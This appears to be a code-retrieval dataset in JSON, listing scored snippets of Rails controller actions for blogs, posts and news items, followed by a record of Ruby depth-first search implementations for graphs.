[ { "docid": "e8dfb2ea357bb68994cf1143c4708c92", "score": "0.7632543", "text": "def new\n @blog = Blog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blog }\n end\n end", "title": "" }, { "docid": "e8dfb2ea357bb68994cf1143c4708c92", "score": "0.7632543", "text": "def new\n @blog = Blog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blog }\n end\n end", "title": "" }, { "docid": "a8907f1249aa47c538a4f62226c89161", "score": "0.7593862", "text": "def new\n @blog_url = BlogUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blog_url }\n end\n end", "title": "" }, { "docid": "5d342b64150a2008b5c879ecc36c6b20", "score": "0.75112", "text": "def new\n @myblog = Myblog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @myblog }\n end\n end", "title": "" }, { "docid": "5d342b64150a2008b5c879ecc36c6b20", "score": "0.75112", "text": "def new\n @myblog = Myblog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @myblog }\n end\n end", "title": "" }, { "docid": "99e7a4800fb8c23eec7934f71516d650", "score": "0.74660206", "text": "def new\n @blogpost = Blogpost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blogpost }\n end\n end", "title": "" }, { "docid": "ff823770b13bb3feed8517f584eaada2", "score": "0.7431854", "text": "def new\n @blog_post = BlogPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blog_post }\n end\n end", "title": "" }, { "docid": "ff823770b13bb3feed8517f584eaada2", "score": "0.7431854", "text": "def new\n @blog_post = BlogPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blog_post }\n end\n end", "title": "" }, { "docid": "07bc96037fa6017eac043c481dad657b", "score": "0.7429871", "text": "def new\n # @blog = Blog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @blog }\n end\n end", "title": "" }, { "docid": "d256ab987d1ffaf247bb11d621b31bed", "score": "0.7362031", "text": "def new\n @blog_post = BlogPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @blog_post }\n end\n end", "title": "" }, { "docid": "9419f7cf4ca346a1554fe01d55fbae8b", "score": "0.73323536", "text": "def new\n @blogcr = Blogcr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blogcr }\n end\n end", "title": "" }, { "docid": "957a3285aa57e68f133751008c83db3f", "score": "0.72947013", "text": "def new\n @user_blog = UserBlog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_blog }\n end\n end", "title": "" }, { "docid": "291118c640257ee406367481ad0cd3a5", "score": "0.7245933", "text": "def new\n @blogger = Blogger.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blogger }\n end\n end", "title": "" }, { "docid": "37e0bc4bcd31f4175a8d936516ebd0f0", "score": "0.70686996", "text": "def new\n @blog_author = BlogAuthor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blog_author }\n end\n end", "title": "" }, { "docid": "6f75e25325332eab5eb83ca5e732adb4", "score": "0.6895114", "text": "def new\n @kevin_blog = KevinBlog.new\n @categories = Admin::Category.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kevin_blog }\n end\n end", "title": "" }, { "docid": "24fb477e190adfd47f3eb5ebbb1398bf", "score": "0.68485725", "text": "def new\n @admin = current_admin\n @herb = Herb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @herb }\n end\n end", "title": "" }, { "docid": "25d6957c2aea1b20e491d13b93dc554b", "score": "0.67523134", "text": "def new\n @robots=\"noindex,nofollow\"\n authorize! :create, Roxiware::Blog::Post\n @post = Roxiware::Blog::Post.new({:person_id=>current_user.person.id,\n :blog_class=>(params[:blog_class] || \"blog\"),\n :post_date=>DateTime.now.utc,\n :post_content=>\"\",\n :post_title=>\"\",\n :post_status=>\"publish\"}, :as=>\"\")\n\n # We need to pass the post category in separately as on new post creation, the\n # category joins are not yet created for the post.\n @post_category = Roxiware::Param::Param.application_param_val('blog', 'default_category')\n respond_to do |format|\n format.html { render :partial =>\"roxiware/blog/post/editform\" }\n format.json { render :json => @post.ajax_attrs(@role) }\n end\n end", "title": "" }, { "docid": "cc43d27a962a6f9280e9cc99bb29463b", "score": "0.6745598", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @news_post }\n end\n end", "title": "" }, { "docid": "da4818f012c3033f1d9fc68cd2ae84dd", "score": "0.6729959", "text": "def new\n @news_post = NewsPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_post }\n end\n end", "title": "" }, { "docid": "da4818f012c3033f1d9fc68cd2ae84dd", "score": "0.6729959", "text": "def new\n @news_post = NewsPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_post }\n end\n end", "title": "" }, { "docid": "3a6d81d97e1042f1f001078c7551a15e", "score": "0.6681173", "text": "def new\n @family_blog = FamilyBlog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @family_blog }\n end\n end", "title": "" }, { "docid": "8384ae752d0ae69f6ab1054d0d240f2d", "score": "0.6664289", "text": "def create\n @admin_blog = Admin::Blog.new(params[:admin_blog])\n\n respond_to do |format|\n if @admin_blog.save\n format.html { redirect_to admin_blogs_path, notice: I18n.t(\"flash.create_admin_blog\") }\n format.json { render json: @admin_blog, status: :created, location: @admin_blog }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_blog.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a0fc944bb2df67beb24d15a2f65036db", "score": "0.6651891", "text": "def new\n # Create new news\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "title": "" }, { "docid": "c520af8971f74f723ce2eae068384784", "score": "0.66370386", "text": "def blogs\n @blogs = Blog.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @administration }\n end\n end", "title": "" }, { "docid": "f1e921b547c0891358ca62aa4f06d930", "score": "0.6634435", "text": "def new\n @admin_useful_news = Admin::UsefulNews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_useful_news }\n end\n end", "title": "" }, { "docid": "0535c3458793c2d602ab2a4d4dfe667e", "score": "0.66327786", "text": "def new\n @blog = Blog.find(params[:blog_id])\n @post = Post.new\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @post }\n end\n end", "title": "" }, { "docid": "ea74fff8cde72dc958577a2442d43a82", "score": "0.66283584", "text": "def create\n\t\t\tauthorize! :manage, Blog\n\t\t\t\n\t\t\t@blog = Blog.new\n\n\t\t\tif request.post?\n\t\t\t\tif @blog.save_with_params params[:blog]\n\t\t\t\t\trender json: { status: 0, result: { redirect: _route_helpers.blogs_path } }\n\t\t\t\telse\n\t\t\t\t\trender json: { status: 2 }\n\t\t\t\tend\n\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\trender layout: 'layout_back'\n\t\tend", "title": "" }, { "docid": "32a12d5e349e41321cc5355733a6cf41", "score": "0.6623277", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "a8aa813e6c2ef4c3e867bc627519c6ce", "score": "0.66196305", "text": "def new\n @bl = Bl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bl }\n end\n end", "title": "" }, { "docid": "a69a4d49f6c45783c79dad1572c34331", "score": "0.66190857", "text": "def new\n post = Post.new\n render json: post\n end", "title": "" }, { "docid": "20b311a918e60bed18ecb3ca5823a6b9", "score": "0.66166794", "text": "def new\r\n @blog = Blog.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @blog }\r\n end\r\n end", "title": "" }, { "docid": "49d66e02ac7b15bc51152768524bfdd5", "score": "0.6616525", "text": "def new\n if 0 < Blog.count\n flash[:notice] = I18n.t('admin.blog.failure.blog_already_exists', :action => t('admin.blog.new.action'))\n redirect_to admin_blog_path and return\n end # if\n\n breadcrumbs_for :new \n end", "title": "" }, { "docid": "b07319ec09915764633db02e44945fe4", "score": "0.66098857", "text": "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "title": "" }, { "docid": "a43f3e27d564ec90a33d5bcbc54479a8", "score": "0.660986", "text": "def new\n @heroku = Heroku.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @heroku }\n end\n end", "title": "" }, { "docid": "c7301abf3bc31a0c97e703af0d3eab40", "score": "0.6609555", "text": "def new\n @news = News.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "title": "" }, { "docid": "b07319ec09915764633db02e44945fe4", "score": "0.66090304", "text": "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "title": "" }, { "docid": "b07319ec09915764633db02e44945fe4", "score": "0.66085476", "text": "def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news }\n end\n end", "title": "" }, { "docid": "a583eba4939bfe78dbb72e6de91e7f30", "score": "0.6606203", "text": "def new\n @site = Site.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.65906215", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.65906215", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.65906215", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.65906215", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "78c0f5caba07a51e63ee382cdb515af9", "score": "0.65820473", "text": "def new\n @post = Post.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "d43cb0481eb5252a38b049fa50bd0de7", "score": "0.6581144", "text": "def new\n authenticated\n\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "540e26ec2082baa58c36a1b4edb21683", "score": "0.65782225", "text": "def new\n \n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @post }\n end\n end", "title": "" }, { "docid": "c0872d8740c309dd21863c40ac72a9f1", "score": "0.6568571", "text": "def new\n @post = Post.new\n @title = \"New post\"\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "60fa1bbce434b7a3a13398d762b34bc6", "score": "0.65666336", "text": "def new\n @news_list = NewsList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_list }\n end\n end", "title": "" }, { "docid": "70191de95a9e2eb5d3d44bccdf5685c7", "score": "0.6558145", "text": "def new\n #admin only\n return redirect_to static_pages_adminonlyerror_path if !current_user.is_admin\n @blessing = Blessing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blessing }\n end\n end", "title": "" }, { "docid": "fae6f26183207ced4ec6cb62ac4ea698", "score": "0.6545685", "text": "def new \n @post = Post.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.6532395", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "dedeb5df3216c0910b147faf6812ddd1", "score": "0.65318054", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "df7ec69a58af4f7f981791290bab864f", "score": "0.6530403", "text": "def new\n respond_to do |format|\n format.html # new.html.haml\n format.json { render :json => @news_item }\n end\n end", "title": "" }, { "docid": "3107e2e5c353c009e1b1916b53f13879", "score": "0.65295035", "text": "def new\n @blog = Blog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @blog }\n end\n end", "title": "" }, { "docid": "3107e2e5c353c009e1b1916b53f13879", "score": "0.65295035", "text": "def new\n @blog = Blog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @blog }\n end\n end", "title": "" }, { "docid": "3107e2e5c353c009e1b1916b53f13879", "score": "0.65295035", "text": "def new\n @blog = Blog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @blog }\n end\n end", "title": "" }, { "docid": "67e32f49bdc48e7a81aadedc4acab867", "score": "0.6526341", "text": "def new\n @post = Post.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "46cad9d7444119e1f3be2078a0ce5dbe", "score": "0.65167123", "text": "def create\n @admin_blog = Admin::Blog.new(admin_blog_params)\n\n respond_to do |format|\n if @admin_blog.save\n format.html { redirect_to @admin_blog, notice: 'Blog was successfully created.' }\n format.json { render :show, status: :created, location: @admin_blog }\n else\n format.html { render :new }\n format.json { render json: @admin_blog.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "07f973645e0e4ed1d926b804ac1f3cb6", "score": "0.65164584", "text": "def index\n @blogs = Blog.all\n render json: @blogs\n end", "title": "" }, { "docid": "97bdfc66fec408babbf82f8bfd9030df", "score": "0.6510416", "text": "def new\n @admin = Admin.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin }\n end\n end", "title": "" }, { "docid": "80396ecfd10e1c1a7d950c616ca3ee7b", "score": "0.65079975", "text": "def create\n\t\t@blog = current_user.blogs.new(blog_params)\n\n\t\trespond_to do |format|\n\t\t\tif @blog.save\n\t\t\t\tformat.html { redirect_to @blog, notice: 'Blog was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @blog }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @blog.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "56ab9944a5dbb2a30ecf3b953075f4f4", "score": "0.6502033", "text": "def create\n @blog = current_user.blogs.new(blog_params)\n\n respond_to do |format|\n if @blog.save\n format.html { redirect_to users_blog_index_path, notice: 'Blog was successfully created.' }\n format.json { render :show, status: :created, location: @blog }\n else\n format.html { render :new }\n format.json { render json: @blog.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "041a3e3e1fe0057981a102c8b2d109fe", "score": "0.64995605", "text": "def new\n @post = Post.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" }, { "docid": "86701edb41c4d9e935166a8b1188c406", "score": "0.6499388", "text": "def create\n @blog = Blog.new(blog_params)\n if @blog.save\n render json: @blog\n else\n render json: @blog.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "e2b71ffdafb3a272ed46405b6d2020c8", "score": "0.649766", "text": "def create\n @blog = Blog.new(blogs_params)\n\n respond_to do |format|\n if @blog.save\n format.html { redirect_to @blog, notice: 'Blog was successfully created.' }\n format.json { render json: @blog, status: :created, location: @blog }\n else\n format.html { render action: \"new\" }\n format.json { render json: @blog.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "65c333f7a334693777c44a636761727d", "score": "0.6486004", "text": "def new\n @recent_activity = RecentActivity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recent_activity }\n end\n end", "title": "" }, { "docid": "0ca84319962be8c103ef7a24687827bd", "score": "0.64822483", "text": "def index\n @admin_blogs = Admin::Blog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_blogs }\n end\n end", "title": "" }, { "docid": "6114bd032e6adf4fcfa2f91cdb8d0dda", "score": "0.64760256", "text": "def new\r\n @post = Post.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @post }\r\n end\r\n end", "title": "" }, { "docid": "e22f7dd8b2fdec5fa715a6135f328f05", "score": "0.6475118", "text": "def new\n\t\t@blog = Blog.new\n\tend", "title": "" }, { "docid": "5dea84b18dd26997d80ed5abe57af1ba", "score": "0.64737076", "text": "def index\n @blogs = Blog.all\n\n render json: @blogs\n end", "title": "" }, { "docid": "c23d45bafec39c775cc44e9f7fc240e0", "score": "0.6468515", "text": "def new\n @subsite = Subsite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subsite }\n end\n end", "title": "" }, { "docid": "58a2b649c5e9476e8378439b4ec630ba", "score": "0.6459143", "text": "def new\n @blog = Blog.new\n end", "title": "" }, { "docid": "58a2b649c5e9476e8378439b4ec630ba", "score": "0.6459143", "text": "def new\n @blog = Blog.new\n end", "title": "" }, { "docid": "5bbb459af46c601fbb360d04b4977f17", "score": "0.64563555", "text": "def new\n @page = current_site.pages.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end", "title": "" }, { "docid": "b4bb5143957809ffc66b7ad1d8424489", "score": "0.6448938", "text": "def new\n @post = Post.new\n @tags = Tag.all\n @categories = Category.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "title": "" } ]
2cdc500b63b5a1892313002ab762e2c1
DepthFirst Search (DFS) it explores possible vertices down each branch before backtracking this feature allows the algorithm to be implemented succinctly both in iterative and recursive forms Greedy algorithm time complexity: O(V+E) mark the current vertex visited explorce each adjacent vertex that is not included in the visited set Implementation with the Graph/Vertex above
[ { "docid": "75864c1ee6b49d443e71a7623d41c96c", "score": "0.660206", "text": "def dfs(graph, start_node)\n visited = {}\n stack = [start_node]\n\n until stack.empty?\n vertex = stack.pop\n\n next if visited[vertex]\n\n visited[vertex] = 1\n\n graph.vertex(vertex).connections.each do |key, _weight|\n stack << key unless visited[key]\n end\n end\n\n visited.map { |k, _v| k }\n end", "title": "" } ]
[ { "docid": "58e200a59bb651c8125360602becbb9f", "score": "0.7482862", "text": "def depth_first_search(start_vertex,visited=Hash.new(false))\n p \"Visited: \" + start_vertex.data.to_s; visited[start_vertex.object_id] = true\n start_vertex.edges.each do |edge|\n puts visited.object_id\n depth_first_search(edge.end_vertex,visited) unless visited[edge.end_vertex.object_id]\n end\nend", "title": "" }, { "docid": "747f1a0c9595357433b95b1b20c70c8c", "score": "0.74728364", "text": "def dfs(v, edges, visited)\n visited.add(v)\n edges.select{ |e| e.include?(v) }.each do |e|\n w = e.find{ |vv| vv != v }\n dfs(w, edges, visited) unless visited.include?(w)\n end\nend", "title": "" }, { "docid": "be2ab8f1e9ab056f180c1fb78d464e4d", "score": "0.73873585", "text": "def dfs(visited, visiting, adj, current)\n return true if visited.include?(current)\n return false if visiting.include?(current)\n visiting << current\n result = adj[current].nil? ? \n true : \n adj[current].map { |x| dfs(visited, visiting, adj, x) }.inject(:&)\n visiting.pop\n visited << current\n return result\nend", "title": "" }, { "docid": "9a9e6be341e36075b0ac75aa1295aeee", "score": "0.7371424", "text": "def dfs graph, node,visited\n unless visited.include? node\n visited << node\n graph.list[node].each do |neighbour|\n dfs(graph,neighbour, visited)\n end\n end\n end", "title": "" }, { "docid": "312f407e010bfef616fb6fee2e3e3d81", "score": "0.7322252", "text": "def dfs(vertex, explored, order)\n explored.add(vertex)\n\n vertex.out_edges.each do |edge|\n new_vertex = edge.to_vertex\n dfs(new_vertex, explored, order) unless explored.include?(new_vertex)\n end\n\n order.unshift(vertex)\nend", "title": "" }, { "docid": "5812ce6e3e91aea08e8f59d315597c5a", "score": "0.73188955", "text": "def depth_first_search(start_vertex,visited=Hash.new(false))\nend", "title": "" }, { "docid": "43c011a0278731ddd5272737762e7ee6", "score": "0.72970533", "text": "def depth_first_v(graph, vtx, visited = [])\n visited << vtx\n graph[vtx].each do |other_vtx|\n depth_first_v(graph, other_vtx, visited) unless visited.include?(other_vtx)\n visited << vtx unless visited.last == vtx\n end\n visited\nend", "title": "" }, { "docid": "df7ad8dc2c323aa0b174226956625d11", "score": "0.72653675", "text": "def DFS(node)\n # total vertices\n vertices = self.nodes.length\n\n # Mark all vertices as not visited\n visited = {}\n @nodes.keys.map {|key| visited[key] = false}\n\n p visited\n found = false\n DFSUtil(node, visited)\n end", "title": "" }, { "docid": "9eb09d74c42d62f4b084f738d70bdd64", "score": "0.7263934", "text": "def depth_first_search_recursive(starting_vertex_id)\n @explored_vertices[starting_vertex_id.to_i-1] = true\n @scc_leaders[starting_vertex_id.to_i-1] = @scc_leader_id if @pass == 2\n tail_vertex = find_vertex starting_vertex_id\n tail_vertex.head_vertices.each{|head_vertex|\n depth_first_search_recursive(head_vertex.id) if !@explored_vertices[head_vertex.id.to_i-1]\n }\n if(@pass == 1)\n @finishing_time+=1\n @finishing_times[tail_vertex.id.to_i-1] = @finishing_time\n end\n end", "title": "" }, { "docid": "8c09e64051f73bdcfe6a52d9eb97db59", "score": "0.72227365", "text": "def dfs_recursive(idx, visited)\n\n # mark the current vertex as visited and print\n visited[idx] = true\n print \"#{vertices[idx].value} \"\n\n # recur for all the adjacent vertices\n v = vertex_by_index(idx)\n indices_of_neighbors = v.get_indices_of_neighbors()\n indices_of_neighbors.each do |i|\n if visited[i] == false\n dfs_recursive(i, visited)\n end\n end\n end", "title": "" }, { "docid": "d6a07b45f6539b9749097f09d0cd05e9", "score": "0.71782607", "text": "def dfs(v)\n raise ArgumentError, \"No such vertex\" if v < 0 or vertices <= v\n is_visited = []\n visit = lambda do |v|\n each_edge(v) do |v,w|\n next if is_visited[w]\n yield v,w\n is_visited[w] = true\n visit.call(w)\n end\n end\n yield -1,v\n is_visited[v] = true\n visit.call(v)\n end", "title": "" }, { "docid": "b84b41f46e6b19bc33bf268aebff86d4", "score": "0.71597254", "text": "def depth_first_search(graph)\n\t#Initialize all nodes\n\tfor u in graph.verticies\n\t\tu.color = 'white'\n\t\tu.parent = nil\n\tend\n\t\n\t$time = 0 #global timestamp\n\t\n\tfor u in graph.verticies\n\t\tif u.color == 'white'\n\t\t\t#visiting every unvisited node\n\t\t\tdepth_first_search_visit(graph, u)\n\t\tend\n\tend\nend", "title": "" }, { "docid": "0ece48aa534c19cd8850745112d6512b", "score": "0.7084847", "text": "def dfs(vertex,find=\"\",graph)\n\t # mark v as explored\n\t #print \"#{@LABELS[vertex]} \" # visited\n\n\t # nullify the row to mark the\n\t # vertex as visited\n\t edge = 0\n\t while edge < graph.size\n\t \t@primitive_ops += 1\n\t graph[vertex][edge] = 0\n\t edge += 1\n\t end\n\n\t # check if its the vertex we're looking for\n\t if (@LABELS[vertex] == find)\n\t \t@primitive_ops += 1\n\t #print \"found\"\n\t @found = true\n\t end\n\t \n\t # Find unexplored edges\n\t edge = 0\n\t while edge < graph.size && !@found\n\t # not explored and not same vertex\n\t if ( graph[edge][vertex] != 0 && edge != vertex)\n\t dfs(edge,find, graph)\n\t end\n\t edge += 1\n\t end\n\n\tend", "title": "" }, { "docid": "096fc5bfaf32f94cedd35ac6ba3e7955", "score": "0.7080626", "text": "def dfs(start_vertex)\n count = 0\n explore( start_vertex, count )\n end", "title": "" }, { "docid": "993f968378beb31cee112fcc43cb182a", "score": "0.7042474", "text": "def depth_first_search(graph)\n # write your code here\n result = []\n stack = [0]\n visited = []\n \n while stack.size != 0\n head = stack.pop\n result << head\n visited << head\n \n not_visited = graph[head].reject { |node| visited.include? node }\n \n visited += not_visited\n stack += not_visited.reverse\n end\n \n result\nend", "title": "" }, { "docid": "ce143a590c9d729647386253fc58e0eb", "score": "0.69896585", "text": "def generar_DFS(index,mat,num_vertices) #genera una matriz DFS recursivamente\r\n $padre[index] = 1 #se indica que se visito el vertices\r\n (0..num_vertices).each do |i| #recorre los vertices iniciales de la arista\r\n if i == index then\r\n (0..num_vertices).each do |j| #recorre los vertices finales\r\n if mat[i,j]==1 and $padre[j]==0 then #si el vertice inicial esta conectado al vertice final y este no fue visitado\r\n $matrizDFS[i,j] += 1 #se registra la conexion en la matriz dfs global\r\n generar_DFS(j,mat,num_vertices) #se busca la siguiente conexion tomando el vertice final 